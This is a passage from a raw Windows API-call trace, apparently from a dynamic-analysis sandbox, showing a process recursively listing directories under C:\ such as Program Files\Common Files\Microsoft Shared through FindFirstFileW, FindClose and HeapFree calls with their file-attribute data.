ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.528] FindClose (hFindFile=0x5931a0) [0047.528] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.529] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.531] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.531] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.532] FindClose (in: hFindFile=0x593020 | out: hFindFile=0x593020) returned 1 [0047.532] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.532] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.532] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0047.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593020 [0047.534] FindClose (in: hFindFile=0x593020 | out: hFindFile=0x593020) returned 1 [0047.534] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0047.534] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.534] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593020 [0047.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.537] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.537] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.538] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.538] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0047.538] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0047.539] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0047.539] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.539] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.539] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.539] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.539] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.540] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.541] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.542] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.542] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.542] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0047.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0048.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.113] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.138] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.170] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.171] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.171] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.171] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.171] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.171] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.172] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.172] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.172] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.172] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.174] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0048.175] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.175] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0048.175] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.176] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0048.176] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.176] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0048.176] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.177] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0048.177] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0048.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0048.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.412] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.412] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.412] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.412] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.812] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.812] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.813] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.813] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.995] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.995] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 